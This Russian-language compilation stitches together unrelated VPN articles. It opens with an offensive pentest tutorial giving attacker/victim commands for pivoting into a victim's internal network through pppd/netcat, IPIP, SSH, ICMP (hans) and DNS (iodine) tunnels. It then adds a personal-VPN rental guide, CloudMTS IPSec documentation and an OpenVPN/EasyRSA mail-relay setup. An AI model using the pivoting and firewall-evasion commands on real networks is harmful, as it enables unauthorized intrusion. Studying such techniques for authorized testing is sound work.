Создание VPN-туннеля на Windows и Linux
VPN-туннели призваны обеспечить атакующему полноценный доступ во внутреннюю сеть или изолированный VLAN и открыть возможность для дальнейшего комфортного продвижения.
В этой статье я покажу, как создать VPN-тунель в Windows и Linux через TCP (L3-туннель), ICMP, DNS и через SSH (L2/L3-туннели).
Настройка VPN-туннелей
Все примеры использования туннелей требуют прав администратора или root.
VPN-туннель через TCP в одну команду (L3-туннель)
В Linux мы можем очень элегантно поднять туннель, не используя настраиваемый VPN-сервер:
attacker > sudo pppd noauth pty ‘nc -klp 5555’
victim #> pppd noauth persist pty ‘nc attacker 5555’ 172.16.0.1:172.16.0.2
Туннель создан. Теперь, чтобы превратить victim в gateway, нужно проделать следующее:
victim #> echo 1 > /proc/sys/net/ipv4/ip_forward
victim #> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Готово, с этого момента мы можем направлять трафик во внутреннюю сеть как есть, используя только роутинг:
attacker > sudo route add — net 10.0.0.0 / 8 dev tun0
Стоит отметить, что, используя pppd , мы можем создавать туннель по инициативе любой из сторон (victim или attacker). Это значит, что мы получили возможность обойти проблемы с межсетевыми экранами. Для работы требуется поддержка ядра (модуль ppp_generic ).
А вот еще один способ поднять туннель, используя IPIP:
attacker > sudo ip tunnel add tun0 mode ipip remote victim local attacker dev eth0
attacker > sudo ifconfig tun0 172.16.0.2 / 30 pointopoint 172.16.0.1
victim #> ip tunnel add tun0 mode ipip remote attacker local victim dev eth0
victim #> ifconfig tun0 172.16.0.1/30 pointopoint 172.16.0.2
VPN туннель через SSH (L2/L3-туннели)
Если на victim или attacker есть SSH-сервер, то этого достаточно, чтобы создать VPN. Сперва нужно разрешить подключение в / etc / ssh / sshd_config :
PermitTunnel point — to — point
После этого можно создать подключение:
attacker > sudo ssh — N tun @ victim — w 0 : 0
attacker > sudo ifconfig tun0 172.16.0.1 / 30 pointopoint 172.16.0.2
victim #> ifconfig tun0 172.16.0.2/30 pointopoint 172.16.0.1
attacker > sudo route add — net 10.0.0.0 / 8 dev tun0
victim #> echo 1 > /proc/sys/net/ipv4/ip_forward
victim #> iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Для организации доступа в сеть L3-туннеля будет достаточно. Но если мы хотим не просто просканировать порты, а выполнять атаки, такие как ARP/NBNS/DHCP-spoofing, то потребуется L2-туннель. Для этого прописываем в / etc / ssh / sshd_config следующее:
PermitTunnel ethernet
Перезапускаем SSH-сервер и выполняем подключение:
attacker > sudo ssh root @ victim — o Tunnel = ethernet — w any : any
victim #> brctl addbr br0; brctl addif br0 eth0; brctl addif br0 tap0; ifconfig eth0 0 promisc; ifconfig br0 10.0.0.70/24
attacker > sudo dhclient tap0
Как всегда, с L2-туннелями нужно быть очень осторожным: из-за малейшей ошибки при создании мостов удаленная машина уйдет в вечный офлайн.
VPN-туннели на Windows
Windows из коробки тоже поддерживает VPN (в варианте PPTP/L2TP). Более того, управлять можно из командной строки благодаря встроенному компоненту:
victim #> rasdial.exe netname username * /phonebook:network.ini
Конфиг для network . ini выглядит следующим образом:
MEDIA = rastapi
Port = VPN9 — 0
DEVICE = rastapi
PhoneNumber = attacker
Отключают VPN-соединения следующей командой:
victim #> rasdial netname /disconnect
Не стоит забывать про классический OpenVPN, который прекрасно работает и на Linux, и на Windows. При наличии прав администратора его использование не должно вызвать проблем.
Также достаточно экзотический, но действенный способ L2-туннелирования на Windows через виртуализацию был описан в этой статье.
VPN-туннель через ICMP
Если выход в интернет запрещен, но разрешены пинги, то можно воспользоваться hans и в две команды создать L3-туннель ( 172.16.0.1 на attacker и 172.16.0.10 на victim):
attacker > sudo . / hans — s 172.16.0.1 — p passwd
victim #> ./hans -c attacker -p passwd -a 172.16.0.10
Клиентская сторона для Windows работает аналогичным образом, но для работы потребуется tap-интерфейс, который можно создать с помощью OpenVPN.
VPN-туннель через DNS
В последний раз возвращаемся к DNS. Если в настройках DNS разрешены резолвы произвольных доменов, что бывает достаточно часто, то с помощью iodine мы можем создать полноценный L3-туннель ( 172.16.0.1 на attacker и 172.16.0.2 на victim):
attacker > sudo . / iodined — f 172.16.0.1 — P passwd attacker . tk
victim #> ./iodine -f -P passwd attacker.tk
VPN-туннели можно организовать как напрямую между attacker и victim, так и сочетанием разных техник проброса портов. Например, мы можем вместо DNS-туннеля iodine использовать сочетание DNS2TCP + pppd.
Заключение
Подводя итог, я бы добавил, что использование VPN-туннелей хоть и дает комфортный доступ в сеть, все же не обязательный этап в проникновении. Если это нельзя выполнить легко, то тратить время на траблшутинг нецелесообразно. Почти всегда достаточно старого доброго проксирования трафика.
Как сделать свой VPN дешево и быстро
В этой инструкции мы покажем, как самостоятельно развернуть свой VPN-сервер, чтобы раз и навсегда перестать беспокоиться о собственной безопасности в сети и получить доступ к заблокированным ресурсам.
Блокировками в России сегодня уже никого не удивить. С пугающей частотой Роскомнадзор добавляет в список заблокированных ресурсов сайты и сервисы, которые распространяют фейковые новости, а многие зарубежные сайты сами покидают рунет или собираются прекратить свою деятельность в России в самое ближайшее время. Простым пользователям остается привыкать к текущим реалиям или искать пути обхода, которые, как правило, сводятся к трем основным способам:
- Создание собственного VPN
- Подключение к коммерческому VPN-сервису
- Подключение к бесплатным VPN-сервисам
Однако наиболее целесообразным из них является только первый пункт, так как практически любые сторонние VPN-серверы имеют ряд существенных недостатков. В случае большой загруженности они могут снижать скорость соединения, а также имеют ограничения по количеству подключаемых устройств.
Кроме того, в теории такие сервисы могут хранить логи ваших действий в сети и передавать их по запросу третьим лицам, например, властям. Пожалуй, единственный плюс платных VPN — возможность быстрого переключения между серверами в разных локациях.
Стоит ли упоминать про бесплатные VPN, с которыми дела обстоят еще хуже? Главное, что необходимо понимать о работе бесплатных VPN сервисов: если вы не платите за VPN, значит, за него платит кто-то еще. Естественно, взамен этот «кто-то» должен получать что-то ценное, например, ваши конфиденциальные данные.
С собственным VPN сервером вы забудете про любые ограничения. Вы сможете раздать интернет своим друзьям и вместе наслаждаться свободным интернетом, так как даже самый дешевый сервер за 3$ в месяц справится с такой нагрузкой, а ваше соединение всегда будет оставаться под надежной защитой.
Итак, думаю выбор очевиден. Нам нужен собственный VPN-сервер. Многие пользователи полагают, что создание собственного VPN — это непосильная задача, для реализации которой необходимы навыки программирования или, как минимум, базовые знания управления консолью Linux и многочасовые манипуляции с компьютером.
Спешим вас обрадовать. Запустить собственный VPN-сервер сможет каждый, а мы покажем как сделать это с минимальными усилиями и научим вас подключать к нему любые свои устройства без каких-либо ограничений.
Вот несколько этапов, которые потребуются для создания собственного VPN-сервера:
- Выбор хостинг-провайдера.
- Аренда виртуального сервера.
- Удаленное подключение к серверу.
- Развертывание VPN сервера с помощью терминала командной строки.
- Подключение и настройка интернет-соединения.
Поиск и выбор хостинг-провайдера
Для того чтобы создать свой VPN, первый, и, пожалуй, самый сложный этап — это поиск и аренда виртуального сервера.
Критерии при выборе очень просты:
- Арендуемый сервер не должен находиться в России.
- Услуги провайдера можно оплатить без «танцев с бубнами».
Но если найти провайдера с широкой географией расположения серверов сегодня не представляет особого труда, то со вторым пунктом действительно могут возникнуть проблемы — в связи с последними событиями на политической арене многие популярные зарубежные провайдеры просто позакрывали свои «двери» для клиентов из России. Остальные же теперь физически не могут принимать оплату по картам Visa и Mastercard, что делает ситуацию тупиковой.
Выход один — искать провайдера среди российских компаний с дата-центрами за границей. Среди них мы нашли несколько: RuVDS, PQHosting и FirstByte. У каждого из этих провайдеров имеются серверы в ряде европейских стран и большой выбор методов оплаты.
Мы остановили свой выбор на провайдере FirstByte, но вы можете выбрать любой из вышеперечисленных или какой-то свой. Все действия по развертыванию VPN у любого хостинг-провайдера будут аналогичными.
Арендуем сервер
После того, как мы определились с выбором провайдера, необходимо зарегистрироваться на сервисе. Здесь все просто, поэтому расписывать все шаги не имеет смысла. Главное, указать свой действующий адрес e-mail и телефон, так как они могут понадобиться для активации аккаунта.
После регистрации переходим к процедуре аренды виртуального сервера. Для этого идем в раздел «Товары/услуги»→ Виртуальные серверы и жмем «Заказать».

На странице заказа меняем локацию дата-центра с России на любую другую страну в списке. Расстояние может косвенно повлиять на будущую скорость интернет-соединения, поэтому лучше отдать свое предпочтение ближайшим к России европейским странам. И, само собой, ориентируемся на стоимость, которая прежде всего зависит от производительности сервера. Для наших задач подойдет машина с минимальными требованиями и каналом в 100 MB/s. Аренда такого сервера обойдется в 222 рубля в месяц.

В следующем окне указываем произвольное доменное имя, которое должно состоять из любых двух слов на латинице, отделенных друг от друга точкой.
В строке «Операционная система» выбираем последнюю версию Ubuntu и добавляем товар в корзину.

После этого оплачиваем услугу любым удобным способом и ждем пока сервер зарегистрируют. Эта процедура может занять от нескольких минут до 1 часа.

После того как сервер будет подготовлен, на почту, указанную при регистрации, должно прийти письмо с уведомлением об активации и данными для подключения к серверу.

Информацию о сервере вы также можете посмотреть в списке на странице ваших выделенных серверов. Для этого выберите сервер из списка мышкой и нажмите на кнопку «Инструкция».

Эти данные пригодятся нам в дальнейшем, поэтому лучше всего сохранить их в отдельном текстовом файле на рабочем столе.
Создание VPN-туннеля
VPN-туннели создают виртуальные каналы передачи данных, которые позволяют пользователям и приложениям обращаться к ресурсам одной сети, в данном случае виртуальной, так, как если бы они находились непосредственно внутри этой сети. Таким образом, создаётся своеобразный «туннель» через общественную сеть, которой обычно является интернет.
VPN-туннелирование использует протоколы шифрования и аутентификации, обеспечивающие защиту передаваемых данных и обмен ключами для сохранения безопасности и целостности информации, проходящей через VPN-туннель.
Для построения VPN-туннеля в облаке #CloudMTS используется стандарт IPSec.
Создание VPN-туннелей требуется для связи площадок между собой по внутренним IP-адресам через защищенный канал, построенный поверх сети интернет.
Преимущество их использования в сравнении с другими способами связности сетей заключается в экономической выгоде и простоте в настройке. В облаке #CloudMTS для VPN-туннеля взимается плата только за использование публичного IP-адреса.
Поскольку VPN-туннель представляет собой двунаправленный обмен трафиком, для обозначения точек подключения выделяют Сторону А и Сторону Б.
В контексте документации #CloudMTS:
- стороной А является CloudMTS,
- стороной Б может быть выбранное пользователем оборудование, способное терминировать IPSec-туннель.
В случае VPN-туннелей Сторона А и Сторона Б играют роль точек подключения. Это значит, что настройки на обеих сторонах должны быть симметричные.
Типы VPN-туннелей
- Route-based — основывается на маршрутизации трафика. Он использует информацию о маршрутах, чтобы определить, каким образом данные должны быть направлены через VPN-туннель.
- Policy-based — основывается на политиках безопасности. Он использует набор правил и условий, определенных в политиках безопасности, чтобы решить, какие данные будут пересылаться через VPN-туннель. Политики безопасности могут определять различные параметры, такие как источник и назначение данных, протоколы, порты и другие факторы, чтобы контролировать доступ и обеспечивать безопасность соединения.
В #CloudMTS доступно создание Policy-based VPN-туннелей. Если вам требуется создать Route-based VPN-туннель, обратитесь в техническую поддержку любым удобным способом.
Создание VPN-туннеля
- В интерфейсе Network выберите сеть и перейдите в меню VPN-туннели.
- Нажмите на кнопку +Добавить.
- В окне Новый VPN-туннель заполните поля:
- Название — название VPN-туннеля.
- Описание — любая заметка.
- Peer address — публичный IPv4-адрес стороны Б, с которым будет установлено VPN-подключение.
- Peer ID — уникальный идентификатор стороны Б. Это может быть IP-адрес (IPv4 или IPv6), доменное имя или уникальный идентификатор узла. Peer ID используется для однозначного определения и проверки подлинности удаленного партнера, с которым устанавливается связь.
- IKE Profile — конфигурационный профиль, который определяет параметры и настройки для процесса установки и управления безопасным соединением, используя протокол IKE (Internet Key Exchange). IKE profile включает в себя различные параметры, которые определяют, как должно происходить взаимодействие между устройствами при установке и обслуживании безопасного соединения.
Рекомендуем использовать IKEv2 протокол, поскольку он представляет собой более современную версию протокола IKE с улучшенной безопасностью и производительностью.
- Preshared key — общий для Стороны А и Стороны Б секретный ключ, который используется для первоначальной проверки подлинности. Воспользуйтесь опцией Сгенерировать или введите собственный.
- Source Networks — IP-адреса и подсети, анонсируемые со стороны #CloudMTS.
- Destination Networks — IP-адреса и подсети, анонсируемые со стороны Б. Source и Destination Networks также должны быть симметрично настроены на стороне Б.

После того как VPN-туннель поднимется и будет находиться в статусе Активен, автоматически будут настроены правила отбора на стороне виртуальной сети для маршрутизации трафика из подсетей, указанных в поле Source Networks до подсетей, указанных в Destination Networks. Тем самым, дополнительной конфигурации на стороне #CloudMTS не требуется.
Протоколы и алгоритмы
IKE Profiles
IKE_V1
| Key | Value | Описание |
|---|---|---|
| Encryption Algorithm | AES128, AES256 | Используется для шифрования содержимого. Число — длина ключа в битах. |
| Digest Algorithm | SHA1, SHA2 256, SHA2 384, SHA2 512 | Используется для верификации отправителя и целостности сообщения (убедиться, что сообщение не было модифицировано по пути). |
| Diffie-Hellman | Group 16, Group 2, Group 5, Group 20, Group 21, Group 14, Group 15, Group 19 | Протокол, позволяющий сторонам сгенерировать общий секретный ключ, не обмениваясь секретными данными. Номер группы определяет максимальную длину ключа. Предпочтительной является группа 14 (2048 бит). |
IKE_V2
| Key | Value | Описание |
|---|---|---|
| Encryption Algorithm | AES 256, AES GCM 192, AES GCM 256, AES GCM 128, AES 128 | Используется для шифрования содержимого. Число — длина ключа в битах. |
| Digest Algorithm | SHA2 512, SHA1, SHA2 256, SHA2 384 | Используется для верификации отправителя и целостности сообщения (убедиться, что сообщение не было модифицировано по пути). |
| Diffie-Hellman | Group 16, Group 2, Group 5, Group 20, Group 21, Group 14, Group 15, Group 19 | Протокол, позволяющий сторонам сгенерировать общий секретный ключ, не обмениваясь секретными данными. Номер группы определяет максимальную длину ключа. Предпочтительной является группа 14 (2048 бит). |
IPSec Profiles
| Key | Value | Описание |
|---|---|---|
| Encryption Algorithm | AES 256, AES GCM 192, AES GCM 256, AES GCM 128, AES 128 | Используется для шифрования содержимого. Число — длина ключа в битах. |
| Digest Algorithm | SHA2 512, SHA1, SHA2 256, SHA2 384 | Используется для верификации отправителя и целостности сообщения (убедиться, что сообщение не было модифицировано по пути). |
| Diffie-Hellman | Group 16, Group 2, Group 5, Group 20, Group 21, Group 14, Group 15, Group 19 | Протокол, позволяющий сторонам сгенерировать общий секретный ключ, не обмениваясь секретными данными. Номер группы определяет максимальную длину ключа. Предпочтительной является группа 14 (2048 бит). |
DPD Profiles
| Key | Value | Описание |
|---|---|---|
| Probe Mode | Периодический | Периодическая проверка доступности соседа с помощью обмена служебными сообщениями. |
| Probe Interval (Seconds) | 60 | Интервал проверки |
| Retry Count | 10 | Количество повторов, если все неуспешные, то удаленная сторона считается недоступной. |
Как сделать VPN-туннель для недружественного почтового сервера
В предыдущей статье, где рассказывалось о признании моего почтового сервера «недружественным», я упоминал о том, что смог обойти введённые ограничения с помощью аренды дополнительного виртуального сервера на территории РФ и проброса до него VPN-туннеля от основного сервера. После публикации статьи мне пришло несколько личных сообщений с просьбой рассказать подробнее о процессе настройки такого туннеля. В этой статье я постараюсь как можно более подробно описать этот процесс.
Введение
В статье предполагается, что на всех серверах установлена ОС Ubuntu 20.04, а в качестве почтового сервера используется Postfix. В целом, описанные здесь методы, скорее всего, будут применимы к любому дистрибутиву Linux, а также и к другим UNIX-подобным ОС (например, FreeBSD), но вам нужно будет сделать поправки в части используемого менеджера пакетов, фаервола и, возможно, настроек сетевой маршрутизации.
Добавлю также, что VPN-туннель между серверами можно использовать не только для почты, но и для проксирования любого другого протокола, где важно знать оригинальный IP-адрес клиента и где невозможно получить его каким-то иным способом, кроме как средствами нижележащего протокола транспортного уровня (TCP или UDP). Например, для HTTP достаточно простого обратного прокси, так как в нём реальный IP можно передавать с помощью заголовков X-Forwarded-For. В случае с SMTP также возможна настройка промежуточного почтового сервера (релея), но по сравнению с поднятием VPN это гораздо более трудоёмкая задача, поэтому рассматривать такой вариант мы здесь не будем.
Сценарий использования
Наш сценарий использования можно описать следующим образом. У нас есть основной сервер (назовём его mail.mydomain.com), который принимает и отправляет электронную почту. При этом существует определённый почтовый домен (например, unfriendly.org), MX-сервера которого не принимают входящие соединения от mail.mydomain.com из-за его «недружественности», не позволяя ему слать почту на адреса @unfriendly.org. Приём почты от @unfriendly.org тоже не работает по аналогичным причинам.
Мы арендуем дополнительный сервер-шлюз (назовём его vpn.mail.mydomain.com), который для MX unfriendly.org «недружественным» не является, и хотим установить между нашим шлюзом и основным сервером VPN-туннель, чтобы иметь возможность обмениваться почтой между @unfriendly.org и mail.mydomain.com.
Отдельно отметим, что мы НЕ хотим, чтобы все исходящие соединения с mail.mydomain.com шли через VPN — через наш шлюз должны идти соединения только при отправке на @unfriendly.org (и другие проблемные домены, если они есть), а все остальные соединения должны идти напрямую. В итоге должна получиться следующая схема:

Для поднятия туннеля будем использовать OpenVPN. Я использовал информацию из вот этого руководства по его настройке в качестве стартовой точки. Сначала нам нужно установить пакет OpenVPN в систему. Рекомендую устанавливать его из официального репозитория, для этого выполняем следующие команды:
# wget -O - https://swupdate.openvpn.net/repos/repo-public.gpg | apt-key add - # echo "deb http://build.openvpn.net/debian/openvpn/stable focal main" > /etc/apt/sources.list.d/openvpn-aptrepo.list # apt update && apt install openvpn
Далее перемещаемся в папку /etc/openvpn/server и генерируем общий ключ для TLS-аутентификации (мы будем использовать его и на сервере, и на клиенте):
$ cd /etc/openvpn/server $ sudo openvpn --genkey secret ta.key
Теперь создадим файл конфигурации сервера server.conf в той же папке. Ниже привожу содержимое этого файла с дополнительными комментариями:
# Понижаем привилегии процесса после запуска # в целях безопасности (необязательно) user nobody group nogroup # Используем виртуальный драйвер TUN (сетевой уровень) dev tun # Здесь я использовал нестандартный порт, # но можно использовать любой другой. # По умолчанию используется порт 1194 port 6876 # Рекомендуется использовать протокол UDP. # Чтобы понять, почему - гуглим "TCP Meltdown" proto udp # Сертификаты и приватные ключи. # Мы создадим их на следующих шагах данного руководства ca ca.crt cert vpn.mail.mydomain.com.crt key vpn.mail.mydomain.com.key # Настройки шифрования и аутентификации TLS. # Мы будем использовать эллиптические кривые, # поэтому алгоритм DHE можно отключить dh none tls-crypt ta.key cipher AES-256-GCM auth SHA512 # Сетевые настройки topology subnet server 172.16.0.0 255.255.255.0 keepalive 10 120 # В этой папке будем хранить настройку # статического IP-адреса для клиента client-config-dir /etc/openvpn/server/ccd # Необходимо при понижении привилегий persist-key persist-tun # Отправляем уведомление клиенту при остановке/перезапуске сервера explicit-exit-notify 1 # Уровень логирования verb 3
Чтобы установить статический IP-адрес в VPN-сети для нашего почтового сервера, создадим папку /etc/openvpn/server/ccd и добавим туда файл mail.mydomain.com со следующей строчкой:
ifconfig-push 172.16.0.2 255.255.255.0
Локальный IP-адрес сервера (vpn.mail.mydomain.com) будет 172.16.0.1, клиента (mail.mydomain.com) — 172.16.0.2.
Дополнительно вы можете жёстко задать параметры шифрования для использования эллиптических кривых, особенно если у вас другая ОС с более старой версией OpenSSL, где могут поддерживаться не все современные наборы шифров. Как это сделать, см. здесь (спасибо за материал пользователю @Maxim_Q).
Настройка фаервола
В Ubuntu 20.04 в качестве фаервола используется ufw , который является фронтендом для популярного в Linux iptables . Помимо правил, добавляемых с помощью команд, в ufw есть конфигурационные файлы, позволяющие прописывать дополнительные правила в формате iptables . Откроем файл /etc/ufw/before.rules и добавим в начало следующие строчки:
*nat -A PREROUTING -i eth0 -p tcp -m tcp --dport 25 -j DNAT --to-destination 172.16.0.2:25 -A POSTROUTING -s 172.16.0.0/24 -o eth0 -j MASQUERADE COMMIT
Здесь добавляется два правила в таблицу NAT:
- -A PREROUTING . перенаправляет входящие TCP-соединения на 25-й порт с интерфейса eth0 на адрес 172.16.0.2 (то есть на наш почтовый сервер mail.mydomain.com).
- -A POSTROUTING . разрешает исходящие соединения из локальной VPN-сети на интерфейс eth0 (в интернет) путём настройки SNAT для исходящих пакетов.
NB: Проверьте (например, через ifconfig ), что ваш основной сетевой интерфейс называется именно eth0 . Если это не так, укажите в правилах корректное название.
Дополнительно нужно включить и разрешить форвардинг IPv4-пакетов. Для этого сначала отредактируем /etc/sysctl.conf и раскомментируем в нём строчку net.ipv4.ip_forward=1 . Затем применим новые настройки с помощью команды:
# sysctl -p
Теперь в файле /etc/default/ufw находим строчку DEFAULT_FORWARD_POLICY=»DROP» и меняем DROP на ACCEPT. Осталось только включить ufw и разрешить через него входящие SMTP- и OpenVPN-соединения. Не забываем также разрешить и SSH-соединения, чтобы не заблокировать себе доступ:
# ufw allow ssh # ufw allow 25/tcp # ufw allow 6876/udp # ufw enable
NB: Не забудьте указать корректный номер порта OpenVPN вместо 6876, если вы используете другой порт (например, стандартый 1194).
Установка и настройка VPN-клиента
Сначала на машину mail.mydomain.com нужно установить пакет OpenVPN — делаем это таким же способом, как на VPN-сервере. Затем копируем сгенерированный на предыдущем этапе общий ключ ta.key с VPN-сервера в папку /etc/openvpn/client . Далее создаём конфигурационный файл /etc/openvpn/client/client.conf :
client # Понижаем привилегии процесса после запуска # в целях безопасности (необязательно) user nobody group nogroup # Используем виртуальный драйвер TUN и протокол UDP dev tun proto udp # Настройки подключения к удалённому серверу remote vpn.mail.mydomain.com 6876 resolv-retry infinite nobind # Сертификаты и приватные ключи. # Мы создадим их на следующих шагах данного руководства ca ca.crt cert mail.mydomain.com.crt key mail.mydomain.com.key remote-cert-tls server # Настройки шифрования и аутентификации TLS tls-crypt ta.key cipher AES-256-GCM auth SHA512 auth-nocache # Скрипт для настройки маршрутизации после поднятия туннеля. # Мы создадим его на предпоследнем этапе данного руководства script-security 2 up openvpn_routes.sh # Необходимо при понижении привилегий persist-key persist-tun # Уровень логирования verb 3
Замечание
Если вы понижаете привилегии процесса OpenVPN, то при остановке клиента или сервера через systemctl или при перезагрузке системы будете наблюдать в логе сообщения вида:
MMM dd HH:mm:ss mail.mydomain.com openvpn[123456]: RTNETLINK answers: Operation not permitted MMM dd HH:mm:ss mail.mydomain.com openvpn[123456]: Linux ip addr del failed: external program exited with error status: 2
Объясню, в чём дело: OpenVPN хочет удалить маршрут к VPN-подсети из системы, но не может этого сделать из-за пониженных привилегий (с добавлением маршрута проблем нет, так как привилегии понижаются не сразу, а после завершения начальной настройки). Но это не является чем-то критичным, так как маршрут всё равно пропадает автоматически после удаления туннельного сетевого интерфейса, что как раз и происходит при остановке OpenVPN.
Если вы всё же хотите избавиться от этих сообщений, можно попробовать сделать это, например, вот так. Я этот метод не пробовал, поэтому не могу сказать, будут ли здесь какие-то ещё проблемы, но лично мне этот вариант кажется не очень безопасным, так как он, по сути, сводится к разрешению выполнения команды ip для непривилегированных пользователей.
Выпуск сертификатов для аутентификации
Альтернативный вариант
Если вам лень возиться с настройкой собственного центра сертификации, можно попробовать использовать другой способ аутентификации — статический ключ. Вот здесь описывается, как это сделать. Вам нужно будет подправить конфигурацию и удалить все упоминания о сертификатах, а также убрать client-config-dir и прописать настройки IP-адресов вручную на стороне клиента и сервера. Убедитесь, что сервер запускается, путём выполнения команды:
# systemctl start openvpn-server@server
Если что-то пошло не так, проверьте лог:
# journalctl -u openvpn-server@server -e
Также стоит добавить сервер в автозагрузку с помощью следующей команды:
# systemctl enable openvpn-server@server
Если всё в порядке, то переходите к следующему разделу данного руководства «Настройка маршрутизации».
OpenVPN по умолчанию использует сертификатную аутентификацию. Это значит, что при подключении клиент и сервер должны обменяться X.509-сертификатами, подписанными доверенным удостоверяющим центром (УЦ). Такой центр мы создадим самостоятельно и сначала выпустим корневой сертификат, который установим и на сервер, и на клиент, а затем создадим и подпишем для них пользовательские сертификаты.
Почему мы не можем использовать для выпуска сертификата, например, сервис Let’s Encrypt? Всё просто: если наш VPN-сервер будет доверять УЦ Let’s Encrypt, то без дополнительных настроек кто угодно сможет запросить у них сертификат и использовать его для подключения к нашему VPN, чего мы, конечно же, не хотим. Поэтому мы развернём свой собственный центр сертификации, работу которого мы можем контролировать. В этом нам поможет пакет EasyRSA, представляющий собой обёртку над популярной утилитой OpenSSL.
Отметим также, что УЦ на базе EasyRSA необязательно устанавливать именно на VPN-сервер, более того, такой вариант менее безопасен, так как на сервере будет храниться приватный ключ вашего центра сертификации, которым можно подписывать пользовательские сертификаты и таким образом управлять доступом к вашему VPN-серверу. Оптимальный вариант — установить УЦ на ваш домашний компьютер, ноут и т.д. (если вы параноик, можете вообще отключить его от сети и передавать все данные на флешках).
Пакет EasyRSA используется не только для создания центра сертификации, но и для генерации приватных ключей и запросов на выпуск сертификатов. Работает это так:
- На сервере vpn.mail.mydomain.com генерируем пару «приватный ключ» — «запрос на сертификат».
- Отправляем файл запроса в УЦ.
- УЦ создаёт и подписывает сертификат и отправляет его обратно на сервер.
- Аналогичные операции проводим на машине mail.mydomain.com.
Обратите внимание, что ни один приватный ключ (в том числе ключ самого УЦ) не покидает машины, на которой он генерируется. Это одно из важных преимуществ использования криптосистемы с открытым ключом.
Установка центра сертификации
Как уже говорил ранее, этот шаг желательно выполнять на отдельной машине. Для упрощения будем полагать, что на ней также стоит Ubuntu 20.04.
Сначала установим пакет easy-rsa:
# apt update && apt install easy-rsa
Теперь создадим в домашнем каталоге папку easyrsa , в которой будем хранить настройки, сертификат и приватный ключ нашего УЦ:
$ cd ~ $ mkdir easyrsa $ chmod 700 easyrsa
Добавим во вновь созданную папку символьные ссылки на исполняемые и конфигурационные файлы EasyRSA, чтобы не обновлять их каждый раз вручную при обновлении пакета:
$ ln -s /usr/share/easy-rsa/* ~/easyrsa/
Начиная с версии 2.4, в OpenVPN возможно использование криптографии на эллиптических кривых, которая является более надёжной по сравнению с традиционным RSA. Чтобы использовать эллиптические кривые (в данном случае предлагается кривая secp521r1), создадим файл ~/easyrsa/vars со следующим содержимым:
set_var EASYRSA_ALGO "ec" set_var EASYRSA_CURVE "secp521r1" set_var EASYRSA_DIGEST "sha512"
Далее выполняем команды:
$ cd ~/easyrsa $ ./easyrsa init-pki
На момент написания данного текста в версии OpenSSL в Ubuntu 20.04 есть небольшой баг, из-за которого при генерации ключей может появляться сообщение вида random number generator:RAND_load_file:Cannot open file (источник). Оно не свидетельствует о критической ошибке, но от него можно избавиться, создав указанный файл вручную:
$ dd if=/dev/urandom of=pki/.rnd bs=256 count=1
Осталось инициализировать сам УЦ:
$ ./easyrsa build-ca
В ходе создания УЦ вас попросят ввести парольную фразу — рекомендуется сделать её достаточно сложной, чтобы её нельзя было подобрать. Также нужно будет задать имя (Common Name) для вашего УЦ — можно использовать в качестве него, например, имя хоста вашей машины. Если вы пропустите этот шаг, по умолчанию будет использоваться имя «Easy-RSA CA», не являющееся особо примечательным, поэтому рекомендую вместо него задать своё имя — тогда при проверке выпущенных сертификатов будет сразу понятно, что они подписаны именно вашим УЦ.
Выпуск сертификата для VPN-сервера
Теперь займёмся выпуском сертификата для OpenVPN-сервера на машине vpn.mail.mydomain.com. Для этого на неё сначала необходимо установить пакет EasyRSA и выполнить все команды до init-pki включительно (см. выше). Далее нам необходимо сгенерировать приватный ключ и запрос на сертификат, который мы отправим в наш УЦ:
$ ./easyrsa gen-req vpn.mail.mydomain.com nopass
Обратите внимание на параметр nopass — если его не указать, то EasyRSA попросит вас задать парольную фразу для генерируемого ключа, и VPN-сервер каждый раз при запуске будет её запрашивать (по очевидным причинам нам такой вариант не подходит). Также в ходе выполнения команды gen-req у вас снова запросят имя (Common Name), на этот раз для будущего сертификата — тут можно просто нажать Enter, чтобы использовать имя, которое вы указали в параметрах команды. В итоге у вас должны сгенерироваться два файла:
~/easyrsa/pki/private/vpn.mail.mydomain.com.key — это приватный ключ. Его необходимо переместить в папку /etc/openvpn/server , предварительно сменив владельца на root :
$ cd ~/easyrsa/pki/private/ $ sudo -s # chown root:root vpn.mail.mydomain.com.key # mv vpn.mail.mydomain.com.key /etc/openvpn/server/
~/easyrsa/pki/reqs/vpn.mail.mydomain.com.req — это запрос на создание сертификата. Этот файл необходимо переместить на машину УЦ в любую папку (например, /tmp ), затем на ней же выполнить команды:
$ cd ~/easyrsa $ ./easyrsa import-req /tmp/vpn.mail.mydomain.com.req vpn.mail.mydomain.com $ ./easyrsa sign-req server vpn.mail.mydomain.com
Убеждаемся, что Common Name в запросе на сертификат совпадает с именем хоста соответствующей машины (в данном случае vpn.mydomain.com) и, если всё верно, вводим «yes», после этого вас ещё попросят ввести парольную фразу, которую вы придумали ранее при создании УЦ. Сертификат будет сгенерирован по следующему пути: ~/easyrsa/pki/issued/vpn.mail.mydomain.com.crt . Берём его вместе с корневым сертификатом УЦ, который находится в ~/easyrsa/pki/ca.crt , и копируем на VPN-сервер в папку /etc/openvpn/server . Не забываем про настройки владельца и права доступа для этих файлов ( chown root:root и chmod 600 соответственно).
На данном этапе настройка VPN-сервера завершена. Чтобы запустить сервер, выполняем на нём команду:
# systemctl start openvpn-server@server
Чтобы добавить сервер в автозагрузку, выполняем:
# systemctl enable openvpn-server@server
Если при запуске возникла ошибка, посмотреть лог можно с помощью следующей команды:
# journalctl -u openvpn-server@server -e
Наиболее частые ошибки возникают из-за проблем с конфигурацией (опечатки, пропуски) или отсутствия необходимых файлов (сертификат, приватный ключ и т.д.). Также, если вы неправильно настроили права доступа к файлам сертификатов и ключей, в логе появится предупреждение об этом.
Выпуск сертификата для VPN-клиента
Как и на VPN-сервере, на машине mail.mydomain.com тоже нужно установить пакет EasyRSA и выполнить init-pki . После этого создаём приватный ключ и запрос на сертификат:
$ ./easyrsa gen-req mail.mydomain.com nopass
Перемещаем сгенерированный приватный ключ из ~/easyrsa/pki/private/mail.mydomain.com.key в папку /etc/openvpn/client , не забывая про смену владельца:
$ cd ~/easyrsa/pki/private/ $ sudo -s # chown root:root mail.mydomain.com.key # mv mail.mydomain.com.key /etc/openvpn/client/
Затем отправляем файл запроса ~/easyrsa/pki/reqs/mail.mydomain.com.req на машину УЦ (например, в /tmp ), импортируем, выпускаем сертификат:
$ cd ~/easyrsa $ ./easyrsa import-req /tmp/mail.mydomain.com.req mail.mydomain.com $ ./easyrsa sign-req client mail.mydomain.com
